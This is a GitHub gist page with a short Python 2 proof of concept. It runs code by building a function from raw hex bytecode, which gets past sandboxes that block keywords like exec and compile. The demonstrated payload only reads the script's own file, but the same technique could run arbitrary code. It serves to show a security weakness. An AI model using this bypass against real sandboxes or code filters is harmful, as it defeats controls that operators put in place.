Skip to content

Instantly share code, notes, and snippets.

@hotelzululima
Forked from pbiernat/poc.py
Last active August 29, 2015 14:06
Show Gist options
  • Select an option

  • Save hotelzululima/245ae25c7252c8d473ae to your computer and use it in GitHub Desktop.

Select an option

Save hotelzululima/245ae25c7252c8d473ae to your computer and use it in GitHub Desktop.
'''
A simple demonstration of obtaining, modifying and executing code objects in python without relying
on commonly blocked keywords such as exec, compile, etc...
-Patrick Biernat.
'''
import __builtin__
mydict = {}
mydict['__builtins__'] = __builtin__
def f():
pass
def mkfunc():
function = type(f)
code = type(f.__code__)
bytecode = "7400006401006402008302006a010083000053".decode('hex')
filename = "./poc.py"
consts = (None,filename,'r')
names = ('open','read')
codeobj = code(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
return function(codeobj, mydict, None, None, None)
g = mkfunc()
print g()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment